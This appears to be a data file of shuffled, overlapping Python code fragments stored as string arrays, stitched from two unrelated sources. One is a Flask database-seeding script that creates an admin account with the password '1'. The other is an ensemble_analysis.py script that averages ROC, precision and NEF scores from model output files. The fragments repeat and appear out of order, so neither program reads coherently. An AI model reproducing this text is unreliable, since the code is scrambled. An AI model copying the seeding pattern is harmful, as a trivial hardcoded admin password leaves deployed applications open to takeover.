Role,", "= Role(name=\"administrator\"); userRole = Role(name=\"user\"); database.session.add(adminRole); database.session.add(userRole); database.session.commit(); admin =", "roleId=adminRole.id ); database.session.add(userRole); database.session.commit(); done = True; except Exception as", "if not database_exists(application.config[\"SQLALCHEMY_DATABASE_URI\"]): create_database(application.config[\"SQLALCHEMY_DATABASE_URI\"]); database.init_app(application); with application.app_context() as context: init();", "configuration import Configuration; from flask_migrate import Migrate, init, migrate, upgrade;", "database); done = False; while not done: try: if not", "upgrade(); adminRole = Role(name=\"administrator\"); userRole = Role(name=\"user\"); database.session.add(adminRole); database.session.add(userRole); database.session.commit();", "password=\"1\" ); database.session.add(admin); database.session.commit(); userRole = UserRole( userId=admin.id, roleId=adminRole.id );", "import database_exists, create_database; application = Flask(__name__); application.config.from_object(Configuration); migrateObject = Migrate(application,", "database.init_app(application); with application.app_context() as context: init(); migrate(message=\"Production migration\"); upgrade(); adminRole", "import database, Role, UserRole, User; from sqlalchemy_utils import database_exists, create_database;", "Role(name=\"administrator\"); userRole = Role(name=\"user\"); database.session.add(adminRole); database.session.add(userRole); database.session.commit(); admin = User(", "False; while not done: try: if not database_exists(application.config[\"SQLALCHEMY_DATABASE_URI\"]): create_database(application.config[\"SQLALCHEMY_DATABASE_URI\"]); database.init_app(application);", "User; from sqlalchemy_utils import database_exists, create_database; application = Flask(__name__); application.config.from_object(Configuration);", "Flask(__name__); application.config.from_object(Configuration); migrateObject = Migrate(application, database); done = False; while", "from sqlalchemy_utils import database_exists, create_database; application = Flask(__name__); application.config.from_object(Configuration); migrateObject", "not database_exists(application.config[\"SQLALCHEMY_DATABASE_URI\"]): create_database(application.config[\"SQLALCHEMY_DATABASE_URI\"]); database.init_app(application); with application.app_context() as context: init(); migrate(message=\"Production", "User( jmbg=\"0000000000000\", forename=\"admin\", surname=\"admin\", email=\"<EMAIL>\", password=\"1\" ); database.session.add(admin); database.session.commit(); userRole", "database.session.commit(); userRole = UserRole( userId=admin.id, roleId=adminRole.id ); database.session.add(userRole); database.session.commit(); done", "migrateObject = Migrate(application, database); done = False; while not done:", "); database.session.add(admin); database.session.commit(); userRole = UserRole( userId=admin.id, roleId=adminRole.id ); database.session.add(userRole);", "Flask; from configuration import Configuration; from flask_migrate import Migrate, init,", "from flask_migrate import Migrate, init, migrate, upgrade; from models import", "= False; while not done: try: if not database_exists(application.config[\"SQLALCHEMY_DATABASE_URI\"]): create_database(application.config[\"SQLALCHEMY_DATABASE_URI\"]);", "from configuration import Configuration; from flask_migrate import Migrate, init, migrate,", "flask import Flask; from configuration import Configuration; from flask_migrate import", "= UserRole( userId=admin.id, roleId=adminRole.id ); database.session.add(userRole); database.session.commit(); done = True;", "UserRole, User; from sqlalchemy_utils import database_exists, create_database; application = Flask(__name__);", "email=\"<EMAIL>\", password=\"1\" ); database.session.add(admin); database.session.commit(); userRole = UserRole( userId=admin.id, roleId=adminRole.id", "Migrate(application, database); done = False; while not done: try: if", "database.session.add(admin); database.session.commit(); userRole = UserRole( userId=admin.id, roleId=adminRole.id ); database.session.add(userRole); database.session.commit();", "admin = User( jmbg=\"0000000000000\", forename=\"admin\", surname=\"admin\", email=\"<EMAIL>\", password=\"1\" ); database.session.add(admin);", "from models import database, Role, UserRole, User; from sqlalchemy_utils import", "jmbg=\"0000000000000\", forename=\"admin\", surname=\"admin\", email=\"<EMAIL>\", password=\"1\" ); database.session.add(admin); database.session.commit(); userRole =" ]
[ "test_precision = float(line[1]) if 'test roc' in line: line =", "return -1, -1, -1 with open(file_path, 'r') as f: lines", "6, 7, 8, 9, 10, 11, 12] } for model", "[ 'random_forest_classification', 'xgboost_classification', 'xgboost_regression', 'single_deep_classification', 'single_deep_regression' ] model_process_num_list = {", "= [ 'random_forest_classification', 'xgboost_classification', 'xgboost_regression', 'single_deep_classification', 'single_deep_regression', 'ensemble' ] for", "in line: line = line.strip().replace('NEF:', '').split(',') test_NEF = float(line[1]) return", "precision' in line: line = line.strip().split(':') test_precision = float(line[1]) if", "test_NEF_list.append(test_NEF) hyper_parameter_result_roc.append(np.mean(test_roc_list)) hyper_parameter_result_precision.append(np.mean(test_precision_list)) hyper_parameter_result_NEF.append(np.mean(test_NEF_list)) for running_process, roc, pr, NEF in", "564, 950, 735, 84, 364, 605, 431, 55, 388], 'xgboost_regression':", "[] hyper_parameter_result_NEF = [] for running_process in model_process_num_list[model]: test_roc_list, test_precision_list,", "[ 'random_forest_classification', 'xgboost_classification', 'xgboost_regression', 'single_deep_classification', 'single_deep_regression', 'ensemble' ] for model", "7, 8, 9, 10, 11, 12] } for model in", "183, 180, 416], 'single_deep_regression': [199, 323, 114, 123, 47, 175,", "in line: line = line.strip().split(':') test_roc = float(line[1]) if 'ratio:", "753, 65, 294, 911, 721, 81, 321, 545, 280], 'single_deep_classification':", "911, 721, 81, 321, 545, 280], 'single_deep_classification': [356, 404, 215,", "model_list = [ 'random_forest_classification', 'xgboost_classification', 'xgboost_regression', 'single_deep_classification', 'single_deep_regression' ] model_process_num_list", "return test_roc, test_precision, test_NEF if __name__ == '__main__': model_list =", "45], 'ensemble': [0, 1, 2, 3, 4, 5, 6, 7,", "= [] hyper_parameter_result_NEF = [] for running_process in model_process_num_list[model]: test_roc_list,", "72], 'xgboost_classification': [140, 967, 960, 807, 263, 694, 440, 47,", "131, 141, 14, 38, 165, 65, 123, 94, 3, 88,", "'{}/{}.out'.format(model, running_process) else: file_path = '{}/{}_{}_4.out'.format(model, model, running_process) test_roc, test_precision,", "print('{}\\t{}\\t{}\\t{}'.format(running_process, roc, pr, NEF)) print() print('On The Last Folder') model_list", "792, 663, 32, 564, 950, 735, 84, 364, 605, 431,", "test_NEF != -1: test_NEF_list.append(test_NEF) hyper_parameter_result_roc.append(np.mean(test_roc_list)) hyper_parameter_result_precision.append(np.mean(test_precision_list)) hyper_parameter_result_NEF.append(np.mean(test_NEF_list)) for running_process, roc,", "line in lines: if 'test precision' in line: line =", "open(file_path, 'r') as f: lines = f.readlines() test_roc, test_precision, test_NEF", "model in model_list: print('Model: {}'.format(model)) number = len(model_process_num_list[model]) hyper_parameter_result_roc =", "88, 72], 'xgboost_classification': [140, 967, 960, 807, 263, 694, 440,", "line: line = line.strip().split(':') test_roc = float(line[1]) if 'ratio: 0.01,", "123, 94, 3, 88, 72], 'xgboost_classification': [140, 967, 960, 807,", "extract(file_path) if test_roc == -1 and test_precision == -1: print('missing", "print('On The Last Folder') model_list = [ 'random_forest_classification', 'xgboost_classification', 'xgboost_regression',", "180, 416], 'single_deep_regression': [199, 323, 114, 123, 47, 175, 17,", "print('Model: {}'.format(model)) number = len(model_process_num_list[model]) for running_process in model_process_num_list[model]: if", "if test_roc == -1 and test_precision == -1: print('missing index:", "model_list: print('Model: {}'.format(model)) number = len(model_process_num_list[model]) for running_process in model_process_num_list[model]:", "65, 123, 94, 3, 88, 72], 'xgboost_classification': [140, 967, 960,", "line: line = line.strip().replace('NEF:', '').split(',') test_NEF = float(line[1]) return test_roc,", "model_process_num_list[model]: test_roc_list, test_precision_list, test_NEF_list = [], [], [] for idx", "'ratio: 0.01, NEF:' in line: line = line.strip().replace('NEF:', '').split(',') test_NEF", "[] for running_process in model_process_num_list[model]: test_roc_list, test_precision_list, test_NEF_list = [],", "440, 605, 718, 754, 409, 586, 214, 753, 65, 294,", "605, 718, 754, 409, 586, 214, 753, 65, 294, 911,", "605, 431, 55, 388], 'xgboost_regression': [187, 6, 514, 507, 880,", "431, 55, 388], 'xgboost_regression': [187, 6, 514, 507, 880, 440,", "test_precision != -1: test_precision_list.append(test_precision) if test_NEF != -1: test_NEF_list.append(test_NEF) hyper_parameter_result_roc.append(np.mean(test_roc_list))", "= -1, -1, -1 for line in lines: if 'test", "line.strip().split(':') test_precision = float(line[1]) if 'test roc' in line: line", "zip(model_process_num_list[model], hyper_parameter_result_roc, hyper_parameter_result_precision, hyper_parameter_result_NEF): print('{}\\t{}\\t{}\\t{}'.format(running_process, roc, pr, NEF)) print() print('On", "735, 84, 364, 605, 431, 55, 388], 'xgboost_regression': [187, 6,", "67, 157, 369, 115, 191, 20, 27, 108, 270, 45],", "106, 265, 67, 157, 369, 115, 191, 20, 27, 108,", "line.strip().replace('NEF:', '').split(',') test_NEF = float(line[1]) return test_roc, test_precision, test_NEF if", "-1 with open(file_path, 'r') as f: lines = f.readlines() test_roc,", "hyper_parameter_result_NEF): print('{}\\t{}\\t{}\\t{}'.format(running_process, roc, pr, NEF)) print() print('On The Last Folder')", "import os import json import numpy as np def extract(file_path):", "321, 545, 280], 'single_deep_classification': [356, 404, 215, 93, 254, 88,", "if test_NEF != -1: test_NEF_list.append(test_NEF) hyper_parameter_result_roc.append(np.mean(test_roc_list)) hyper_parameter_result_precision.append(np.mean(test_precision_list)) hyper_parameter_result_NEF.append(np.mean(test_NEF_list)) for running_process,", "The Last Folder') model_list = [ 'random_forest_classification', 'xgboost_classification', 'xgboost_regression', 'single_deep_classification',", "124, 183, 180, 416], 'single_deep_regression': [199, 323, 114, 123, 47,", "415, 54, 124, 183, 180, 416], 'single_deep_regression': [199, 323, 114,", "if test_precision != -1: test_precision_list.append(test_precision) if test_NEF != -1: test_NEF_list.append(test_NEF)", "= line.strip().split(':') test_precision = float(line[1]) if 'test roc' in line:", "] for model in model_list: print('Model: {}'.format(model)) number = len(model_process_num_list[model])", "214, 753, 65, 294, 911, 721, 81, 321, 545, 280],", "__name__ == '__main__': model_list = [ 'random_forest_classification', 'xgboost_classification', 'xgboost_regression', 'single_deep_classification',", "if 'ratio: 0.01, NEF:' in line: line = line.strip().replace('NEF:', '').split(',')", "'xgboost_classification': [140, 967, 960, 807, 263, 694, 440, 47, 116,", "38, 165, 65, 123, 94, 3, 88, 72], 'xgboost_classification': [140,", "-1: print('missing index: {}'.format(running_process)) if test_roc != -1: test_roc_list.append(test_roc) if", "84, 364, 605, 431, 55, 388], 'xgboost_regression': [187, 6, 514,", "= [ 'random_forest_classification', 'xgboost_classification', 'xgboost_regression', 'single_deep_classification', 'single_deep_regression' ] model_process_num_list =", "69, 111, 212, 210, 148, 28, 61, 124, 130, 131,", "len(model_process_num_list[model]) hyper_parameter_result_roc = [] hyper_parameter_result_precision = [] hyper_parameter_result_NEF = []", "line.strip().split(':') test_roc = float(line[1]) if 'ratio: 0.01, NEF:' in line:", "545, 280], 'single_deep_classification': [356, 404, 215, 93, 254, 88, 423,", "27, 108, 270, 45], 'ensemble': [0, 1, 2, 3, 4,", "test_precision, test_NEF = extract(file_path) if test_roc == -1 and test_precision", "= '{}/{}.out'.format(model, running_process) else: file_path = '{}/{}_{}_4.out'.format(model, model, running_process) test_roc,", "hyper_parameter_result_NEF = [] for running_process in model_process_num_list[model]: test_roc_list, test_precision_list, test_NEF_list", "for model in model_list: print('Model: {}'.format(model)) number = len(model_process_num_list[model]) for", "694, 440, 47, 116, 792, 663, 32, 564, 950, 735,", "= len(model_process_num_list[model]) for running_process in model_process_num_list[model]: if model == 'ensemble':", "12] } for model in model_list: print('Model: {}'.format(model)) number =", "-1, -1 with open(file_path, 'r') as f: lines = f.readlines()", "123, 47, 175, 17, 178, 106, 265, 67, 157, 369,", "141, 14, 38, 165, 65, 123, 94, 3, 88, 72],", "807, 263, 694, 440, 47, 116, 792, 663, 32, 564,", "967, 960, 807, 263, 694, 440, 47, 116, 792, 663,", "54, 124, 183, 180, 416], 'single_deep_regression': [199, 323, 114, 123,", "if __name__ == '__main__': model_list = [ 'random_forest_classification', 'xgboost_classification', 'xgboost_regression',", "Last Folder') model_list = [ 'random_forest_classification', 'xgboost_classification', 'xgboost_regression', 'single_deep_classification', 'single_deep_regression',", "print('Model: {}'.format(model)) number = len(model_process_num_list[model]) hyper_parameter_result_roc = [] hyper_parameter_result_precision =", "test_roc_list.append(test_roc) if test_precision != -1: test_precision_list.append(test_precision) if test_NEF != -1:", "423, 47, 363, 132, 5, 385, 370, 29, 415, 54,", "'single_deep_classification', 'single_deep_regression', 'ensemble' ] for model in model_list: print('Model: {}'.format(model))", "test_NEF if __name__ == '__main__': model_list = [ 'random_forest_classification', 'xgboost_classification',", "running_process in model_process_num_list[model]: test_roc_list, test_precision_list, test_NEF_list = [], [], []", "[] for idx in range(4): file_path = '{}/{}_{}_{}.out'.format(model, model, running_process,", "= line.strip().split(':') test_roc = float(line[1]) if 'ratio: 0.01, NEF:' in", "in model_process_num_list[model]: if model == 'ensemble': file_path = '{}/{}.out'.format(model, running_process)", "NEF:' in line: line = line.strip().replace('NEF:', '').split(',') test_NEF = float(line[1])", "294, 911, 721, 81, 321, 545, 280], 'single_deep_classification': [356, 404,", "'random_forest_classification', 'xgboost_classification', 'xgboost_regression', 'single_deep_classification', 'single_deep_regression' ] model_process_num_list = { 'random_forest_classification':", "88, 423, 47, 363, 132, 5, 385, 370, 29, 415,", "if model == 'ensemble': file_path = '{}/{}.out'.format(model, running_process) else: file_path", "507, 880, 440, 605, 718, 754, 409, 586, 214, 753,", "file_path = '{}/{}.out'.format(model, running_process) else: file_path = '{}/{}_{}_4.out'.format(model, model, running_process)", "114, 123, 47, 175, 17, 178, 106, 265, 67, 157,", "950, 735, 84, 364, 605, 431, 55, 388], 'xgboost_regression': [187,", "range(4): file_path = '{}/{}_{}_{}.out'.format(model, model, running_process, idx) test_roc, test_precision, test_NEF", "[] hyper_parameter_result_precision = [] hyper_parameter_result_NEF = [] for running_process in", "test_NEF_list = [], [], [] for idx in range(4): file_path", "test_precision, test_NEF = -1, -1, -1 for line in lines:", "in range(4): file_path = '{}/{}_{}_{}.out'.format(model, model, running_process, idx) test_roc, test_precision,", "212, 210, 148, 28, 61, 124, 130, 131, 141, 14,", "!= -1: test_roc_list.append(test_roc) if test_precision != -1: test_precision_list.append(test_precision) if test_NEF", "28, 61, 124, 130, 131, 141, 14, 38, 165, 65,", "93, 254, 88, 423, 47, 363, 132, 5, 385, 370,", "= '{}/{}_{}_{}.out'.format(model, model, running_process, idx) test_roc, test_precision, test_NEF = extract(file_path)", "model_list: print('Model: {}'.format(model)) number = len(model_process_num_list[model]) hyper_parameter_result_roc = [] hyper_parameter_result_precision", "hyper_parameter_result_roc = [] hyper_parameter_result_precision = [] hyper_parameter_result_NEF = [] for", "= [], [], [] for idx in range(4): file_path =", "NEF in zip(model_process_num_list[model], hyper_parameter_result_roc, hyper_parameter_result_precision, hyper_parameter_result_NEF): print('{}\\t{}\\t{}\\t{}'.format(running_process, roc, pr, NEF))", "os import json import numpy as np def extract(file_path): if", "-1, -1, -1 for line in lines: if 'test precision'", "running_process) else: file_path = '{}/{}_{}_4.out'.format(model, model, running_process) test_roc, test_precision, test_NEF", "663, 32, 564, 950, 735, 84, 364, 605, 431, 55,", "for idx in range(4): file_path = '{}/{}_{}_{}.out'.format(model, model, running_process, idx)", "test_roc = float(line[1]) if 'ratio: 0.01, NEF:' in line: line", "'xgboost_regression': [187, 6, 514, 507, 880, 440, 605, 718, 754,", "718, 754, 409, 586, 214, 753, 65, 294, 911, 721,", "[], [], [] for idx in range(4): file_path = '{}/{}_{}_{}.out'.format(model,", "else: file_path = '{}/{}_{}_4.out'.format(model, model, running_process) test_roc, test_precision, test_NEF =", "test_roc, test_precision, test_NEF = -1, -1, -1 for line in", "test_roc, test_precision, test_NEF if __name__ == '__main__': model_list = [", "111, 212, 210, 148, 28, 61, 124, 130, 131, 141,", "[140, 967, 960, 807, 263, 694, 440, 47, 116, 792,", "880, 440, 605, 718, 754, 409, 586, 214, 753, 65,", "-1: test_NEF_list.append(test_NEF) hyper_parameter_result_roc.append(np.mean(test_roc_list)) hyper_parameter_result_precision.append(np.mean(test_precision_list)) hyper_parameter_result_NEF.append(np.mean(test_NEF_list)) for running_process, roc, pr, NEF", "roc' in line: line = line.strip().split(':') test_roc = float(line[1]) if", "'single_deep_classification': [356, 404, 215, 93, 254, 88, 423, 47, 363,", "] model_process_num_list = { 'random_forest_classification': [139, 69, 111, 212, 210,", "extract(file_path): if not os.path.isfile(file_path): return -1, -1, -1 with open(file_path,", "= [] hyper_parameter_result_precision = [] hyper_parameter_result_NEF = [] for running_process", "float(line[1]) if 'test roc' in line: line = line.strip().split(':') test_roc", "[], [] for idx in range(4): file_path = '{}/{}_{}_{}.out'.format(model, model,", "20, 27, 108, 270, 45], 'ensemble': [0, 1, 2, 3,", "test_precision_list.append(test_precision) if test_NEF != -1: test_NEF_list.append(test_NEF) hyper_parameter_result_roc.append(np.mean(test_roc_list)) hyper_parameter_result_precision.append(np.mean(test_precision_list)) hyper_parameter_result_NEF.append(np.mean(test_NEF_list)) for", "'xgboost_classification', 'xgboost_regression', 'single_deep_classification', 'single_deep_regression' ] model_process_num_list = { 'random_forest_classification': [139,", "file_path = '{}/{}_{}_{}.out'.format(model, model, running_process, idx) test_roc, test_precision, test_NEF =", "-1, -1 for line in lines: if 'test precision' in", "if test_roc != -1: test_roc_list.append(test_roc) if test_precision != -1: test_precision_list.append(test_precision)", "== -1 and test_precision == -1: print('missing index: {}'.format(running_process)) if", "178, 106, 265, 67, 157, 369, 115, 191, 20, 27,", "hyper_parameter_result_roc, hyper_parameter_result_precision, hyper_parameter_result_NEF): print('{}\\t{}\\t{}\\t{}'.format(running_process, roc, pr, NEF)) print() print('On The", "== '__main__': model_list = [ 'random_forest_classification', 'xgboost_classification', 'xgboost_regression', 'single_deep_classification', 'single_deep_regression'", "388], 'xgboost_regression': [187, 6, 514, 507, 880, 440, 605, 718,", "8, 9, 10, 11, 12] } for model in model_list:", "test_roc, test_precision, test_NEF = extract(file_path) if test_roc == -1 and", "= '{}/{}_{}_4.out'.format(model, model, running_process) test_roc, test_precision, test_NEF = extract(file_path) print('{}\\t{}'.format(running_process,", "= float(line[1]) if 'ratio: 0.01, NEF:' in line: line =", "[199, 323, 114, 123, 47, 175, 17, 178, 106, 265,", "import print_function import os import json import numpy as np", "numpy as np def extract(file_path): if not os.path.isfile(file_path): return -1,", "10, 11, 12] } for model in model_list: print('Model: {}'.format(model))", "in model_list: print('Model: {}'.format(model)) number = len(model_process_num_list[model]) hyper_parameter_result_roc = []", "json import numpy as np def extract(file_path): if not os.path.isfile(file_path):", "29, 415, 54, 124, 183, 180, 416], 'single_deep_regression': [199, 323,", "157, 369, 115, 191, 20, 27, 108, 270, 45], 'ensemble':", "'__main__': model_list = [ 'random_forest_classification', 'xgboost_classification', 'xgboost_regression', 'single_deep_classification', 'single_deep_regression' ]", "test_roc == -1 and test_precision == -1: print('missing index: {}'.format(running_process))", "363, 132, 5, 385, 370, 29, 415, 54, 124, 183,", "np def extract(file_path): if not os.path.isfile(file_path): return -1, -1, -1", "in zip(model_process_num_list[model], hyper_parameter_result_roc, hyper_parameter_result_precision, hyper_parameter_result_NEF): print('{}\\t{}\\t{}\\t{}'.format(running_process, roc, pr, NEF)) print()", "81, 321, 545, 280], 'single_deep_classification': [356, 404, 215, 93, 254,", "test_roc_list, test_precision_list, test_NEF_list = [], [], [] for idx in", "175, 17, 178, 106, 265, 67, 157, 369, 115, 191,", "for running_process, roc, pr, NEF in zip(model_process_num_list[model], hyper_parameter_result_roc, hyper_parameter_result_precision, hyper_parameter_result_NEF):", "586, 214, 753, 65, 294, 911, 721, 81, 321, 545,", "= float(line[1]) return test_roc, test_precision, test_NEF if __name__ == '__main__':", "'test precision' in line: line = line.strip().split(':') test_precision = float(line[1])", "in model_process_num_list[model]: test_roc_list, test_precision_list, test_NEF_list = [], [], [] for", "{}'.format(running_process)) if test_roc != -1: test_roc_list.append(test_roc) if test_precision != -1:", "280], 'single_deep_classification': [356, 404, 215, 93, 254, 88, 423, 47,", "47, 116, 792, 663, 32, 564, 950, 735, 84, 364,", "1, 2, 3, 4, 5, 6, 7, 8, 9, 10,", "number = len(model_process_num_list[model]) for running_process in model_process_num_list[model]: if model ==", "= extract(file_path) if test_roc == -1 and test_precision == -1:", "'single_deep_regression': [199, 323, 114, 123, 47, 175, 17, 178, 106,", "32, 564, 950, 735, 84, 364, 605, 431, 55, 388],", "= len(model_process_num_list[model]) hyper_parameter_result_roc = [] hyper_parameter_result_precision = [] hyper_parameter_result_NEF =", "NEF)) print() print('On The Last Folder') model_list = [ 'random_forest_classification',", "270, 45], 'ensemble': [0, 1, 2, 3, 4, 5, 6,", "'random_forest_classification': [139, 69, 111, 212, 210, 148, 28, 61, 124,", "import numpy as np def extract(file_path): if not os.path.isfile(file_path): return", "not os.path.isfile(file_path): return -1, -1, -1 with open(file_path, 'r') as", "float(line[1]) if 'ratio: 0.01, NEF:' in line: line = line.strip().replace('NEF:',", "3, 88, 72], 'xgboost_classification': [140, 967, 960, 807, 263, 694,", "for line in lines: if 'test precision' in line: line", "model_process_num_list[model]: if model == 'ensemble': file_path = '{}/{}.out'.format(model, running_process) else:", "[187, 6, 514, 507, 880, 440, 605, 718, 754, 409,", "hyper_parameter_result_NEF.append(np.mean(test_NEF_list)) for running_process, roc, pr, NEF in zip(model_process_num_list[model], hyper_parameter_result_roc, hyper_parameter_result_precision,", "len(model_process_num_list[model]) for running_process in model_process_num_list[model]: if model == 'ensemble': file_path", "model == 'ensemble': file_path = '{}/{}.out'.format(model, running_process) else: file_path =", "65, 294, 911, 721, 81, 321, 545, 280], 'single_deep_classification': [356,", "f.readlines() test_roc, test_precision, test_NEF = -1, -1, -1 for line", "!= -1: test_precision_list.append(test_precision) if test_NEF != -1: test_NEF_list.append(test_NEF) hyper_parameter_result_roc.append(np.mean(test_roc_list)) hyper_parameter_result_precision.append(np.mean(test_precision_list))", "model_process_num_list = { 'random_forest_classification': [139, 69, 111, 212, 210, 148,", "model_list = [ 'random_forest_classification', 'xgboost_classification', 'xgboost_regression', 'single_deep_classification', 'single_deep_regression', 'ensemble' ]", "print_function import os import json import numpy as np def", "6, 514, 507, 880, 440, 605, 718, 754, 409, 586,", "4, 5, 6, 7, 8, 9, 10, 11, 12] }", "running_process, idx) test_roc, test_precision, test_NEF = extract(file_path) if test_roc ==", "'single_deep_classification', 'single_deep_regression' ] model_process_num_list = { 'random_forest_classification': [139, 69, 111,", "17, 178, 106, 265, 67, 157, 369, 115, 191, 20,", "-1 for line in lines: if 'test precision' in line:", "index: {}'.format(running_process)) if test_roc != -1: test_roc_list.append(test_roc) if test_precision !=", "'random_forest_classification', 'xgboost_classification', 'xgboost_regression', 'single_deep_classification', 'single_deep_regression', 'ensemble' ] for model in", "14, 38, 165, 65, 123, 94, 3, 88, 72], 'xgboost_classification':", "and test_precision == -1: print('missing index: {}'.format(running_process)) if test_roc !=", "'test roc' in line: line = line.strip().split(':') test_roc = float(line[1])", "test_NEF = float(line[1]) return test_roc, test_precision, test_NEF if __name__ ==", "os.path.isfile(file_path): return -1, -1, -1 with open(file_path, 'r') as f:", "0.01, NEF:' in line: line = line.strip().replace('NEF:', '').split(',') test_NEF =", "test_roc != -1: test_roc_list.append(test_roc) if test_precision != -1: test_precision_list.append(test_precision) if", "= { 'random_forest_classification': [139, 69, 111, 212, 210, 148, 28,", "[139, 69, 111, 212, 210, 148, 28, 61, 124, 130,", "404, 215, 93, 254, 88, 423, 47, 363, 132, 5,", "263, 694, 440, 47, 116, 792, 663, 32, 564, 950,", "if not os.path.isfile(file_path): return -1, -1, -1 with open(file_path, 'r')", "115, 191, 20, 27, 108, 270, 45], 'ensemble': [0, 1,", "line = line.strip().replace('NEF:', '').split(',') test_NEF = float(line[1]) return test_roc, test_precision,", "754, 409, 586, 214, 753, 65, 294, 911, 721, 81,", "idx) test_roc, test_precision, test_NEF = extract(file_path) if test_roc == -1", "'ensemble': [0, 1, 2, 3, 4, 5, 6, 7, 8,", "960, 807, 263, 694, 440, 47, 116, 792, 663, 32,", "'single_deep_regression' ] model_process_num_list = { 'random_forest_classification': [139, 69, 111, 212,", "'r') as f: lines = f.readlines() test_roc, test_precision, test_NEF =", "pr, NEF in zip(model_process_num_list[model], hyper_parameter_result_roc, hyper_parameter_result_precision, hyper_parameter_result_NEF): print('{}\\t{}\\t{}\\t{}'.format(running_process, roc, pr,", "'xgboost_classification', 'xgboost_regression', 'single_deep_classification', 'single_deep_regression', 'ensemble' ] for model in model_list:", "model in model_list: print('Model: {}'.format(model)) number = len(model_process_num_list[model]) for running_process", "roc, pr, NEF)) print() print('On The Last Folder') model_list =", "test_precision == -1: print('missing index: {}'.format(running_process)) if test_roc != -1:", "as f: lines = f.readlines() test_roc, test_precision, test_NEF = -1,", "if 'test roc' in line: line = line.strip().split(':') test_roc =", "hyper_parameter_result_precision = [] hyper_parameter_result_NEF = [] for running_process in model_process_num_list[model]:", "!= -1: test_NEF_list.append(test_NEF) hyper_parameter_result_roc.append(np.mean(test_roc_list)) hyper_parameter_result_precision.append(np.mean(test_precision_list)) hyper_parameter_result_NEF.append(np.mean(test_NEF_list)) for running_process, roc, pr,", "model, running_process) test_roc, test_precision, test_NEF = extract(file_path) print('{}\\t{}'.format(running_process, test_NEF)) print()", "'').split(',') test_NEF = float(line[1]) return test_roc, test_precision, test_NEF if __name__", "with open(file_path, 'r') as f: lines = f.readlines() test_roc, test_precision,", "<filename>output/ensemble_analysis.py from __future__ import print_function import os import json import", "= [] for running_process in model_process_num_list[model]: test_roc_list, test_precision_list, test_NEF_list =", "124, 130, 131, 141, 14, 38, 165, 65, 123, 94,", "94, 3, 88, 72], 'xgboost_classification': [140, 967, 960, 807, 263,", "number = len(model_process_num_list[model]) hyper_parameter_result_roc = [] hyper_parameter_result_precision = [] hyper_parameter_result_NEF", "def extract(file_path): if not os.path.isfile(file_path): return -1, -1, -1 with", "'{}/{}_{}_{}.out'.format(model, model, running_process, idx) test_roc, test_precision, test_NEF = extract(file_path) if", "line: line = line.strip().split(':') test_precision = float(line[1]) if 'test roc'", "test_precision_list, test_NEF_list = [], [], [] for idx in range(4):", "'{}/{}_{}_4.out'.format(model, model, running_process) test_roc, test_precision, test_NEF = extract(file_path) print('{}\\t{}'.format(running_process, test_NEF))", "47, 363, 132, 5, 385, 370, 29, 415, 54, 124,", "for running_process in model_process_num_list[model]: if model == 'ensemble': file_path =", "'xgboost_regression', 'single_deep_classification', 'single_deep_regression' ] model_process_num_list = { 'random_forest_classification': [139, 69,", "[356, 404, 215, 93, 254, 88, 423, 47, 363, 132,", "f: lines = f.readlines() test_roc, test_precision, test_NEF = -1, -1,", "-1 and test_precision == -1: print('missing index: {}'.format(running_process)) if test_roc", "'xgboost_regression', 'single_deep_classification', 'single_deep_regression', 'ensemble' ] for model in model_list: print('Model:", "running_process in model_process_num_list[model]: if model == 'ensemble': file_path = '{}/{}.out'.format(model,", "{}'.format(model)) number = len(model_process_num_list[model]) for running_process in model_process_num_list[model]: if model", "import json import numpy as np def extract(file_path): if not", "265, 67, 157, 369, 115, 191, 20, 27, 108, 270,", "in model_list: print('Model: {}'.format(model)) number = len(model_process_num_list[model]) for running_process in", "} for model in model_list: print('Model: {}'.format(model)) number = len(model_process_num_list[model])", "409, 586, 214, 753, 65, 294, 911, 721, 81, 321,", "108, 270, 45], 'ensemble': [0, 1, 2, 3, 4, 5,", "model, running_process, idx) test_roc, test_precision, test_NEF = extract(file_path) if test_roc", "210, 148, 28, 61, 124, 130, 131, 141, 14, 38,", "hyper_parameter_result_precision.append(np.mean(test_precision_list)) hyper_parameter_result_NEF.append(np.mean(test_NEF_list)) for running_process, roc, pr, NEF in zip(model_process_num_list[model], hyper_parameter_result_roc,", "3, 4, 5, 6, 7, 8, 9, 10, 11, 12]", "'ensemble' ] for model in model_list: print('Model: {}'.format(model)) number =", "191, 20, 27, 108, 270, 45], 'ensemble': [0, 1, 2,", "print('missing index: {}'.format(running_process)) if test_roc != -1: test_roc_list.append(test_roc) if test_precision", "if 'test precision' in line: line = line.strip().split(':') test_precision =", "[0, 1, 2, 3, 4, 5, 6, 7, 8, 9,", "line = line.strip().split(':') test_precision = float(line[1]) if 'test roc' in", "as np def extract(file_path): if not os.path.isfile(file_path): return -1, -1,", "364, 605, 431, 55, 388], 'xgboost_regression': [187, 6, 514, 507,", "= f.readlines() test_roc, test_precision, test_NEF = -1, -1, -1 for", "-1, -1, -1 with open(file_path, 'r') as f: lines =", "for model in model_list: print('Model: {}'.format(model)) number = len(model_process_num_list[model]) hyper_parameter_result_roc", "file_path = '{}/{}_{}_4.out'.format(model, model, running_process) test_roc, test_precision, test_NEF = extract(file_path)", "{}'.format(model)) number = len(model_process_num_list[model]) hyper_parameter_result_roc = [] hyper_parameter_result_precision = []", "9, 10, 11, 12] } for model in model_list: print('Model:", "440, 47, 116, 792, 663, 32, 564, 950, 735, 84,", "47, 175, 17, 178, 106, 265, 67, 157, 369, 115,", "370, 29, 415, 54, 124, 183, 180, 416], 'single_deep_regression': [199,", "running_process, roc, pr, NEF in zip(model_process_num_list[model], hyper_parameter_result_roc, hyper_parameter_result_precision, hyper_parameter_result_NEF): print('{}\\t{}\\t{}\\t{}'.format(running_process,", "'ensemble': file_path = '{}/{}.out'.format(model, running_process) else: file_path = '{}/{}_{}_4.out'.format(model, model,", "lines = f.readlines() test_roc, test_precision, test_NEF = -1, -1, -1", "514, 507, 880, 440, 605, 718, 754, 409, 586, 214,", "= line.strip().replace('NEF:', '').split(',') test_NEF = float(line[1]) return test_roc, test_precision, test_NEF", "254, 88, 423, 47, 363, 132, 5, 385, 370, 29,", "test_NEF = -1, -1, -1 for line in lines: if", "hyper_parameter_result_precision, hyper_parameter_result_NEF): print('{}\\t{}\\t{}\\t{}'.format(running_process, roc, pr, NEF)) print() print('On The Last", "-1: test_roc_list.append(test_roc) if test_precision != -1: test_precision_list.append(test_precision) if test_NEF !=", "print() print('On The Last Folder') model_list = [ 'random_forest_classification', 'xgboost_classification',", "== 'ensemble': file_path = '{}/{}.out'.format(model, running_process) else: file_path = '{}/{}_{}_4.out'.format(model,", "hyper_parameter_result_roc.append(np.mean(test_roc_list)) 